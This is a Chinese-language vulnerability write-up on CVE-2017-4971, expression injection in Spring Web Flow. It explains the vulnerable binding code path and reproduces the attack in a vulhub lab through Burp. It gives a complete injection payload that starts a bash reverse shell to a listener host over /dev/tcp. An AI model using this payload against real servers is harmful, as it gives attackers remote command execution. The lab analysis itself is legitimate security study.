Spring Web Flow框架远程代码执行(CVE-2017-4971)漏洞,是由于Spring Web Flow的数据绑定问题带来的表达式注入,从而导致任意代码执行。
影响版本
2.4.0-2.4.4、Older unsupported versions are also affected
漏洞分析
view对象处理用户事件,会根据HTTP参数绑定相应的model
如果model没有设置BinderConfiguration
, 则会调用addDefaultMappings
函数
进一步查看addDefaultMappings
函数,可以发现输入参数以fieldMarkerPrefix
(“_”)开头,则会调用addEmptyValueMapping
函数
若useSpringBeanBinding
参数设置为false
,则 expressionParser
将设置为SpelExpressionParser
对象的实例,而不是BeanWrapperExpressionParser
对象的实例。当调用getValueType
函数时,SpelExpressionParser
对象将执行表达式,触发任意代码执行
漏洞复现
首先进入CVE-2017-4971的docker环境
点击登录
这里列出了一些登录账户,这里随便使用一个登录即可
登录之后显示如下界面
然后访问http://192.168.1.10:8080/hotels/1,点击Book Hotel
这里要把信用卡和名字都填一下,然后点击Proceed
进入如下页面,此处用bp抓包
bp抓包如下所示
这里构造一个bash反弹的payload
&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.1.2/5555 0>%261")).start()=vulhub
打开nc监听端口
把构造的payload放入抓到的包里发送
即可收到反弹shell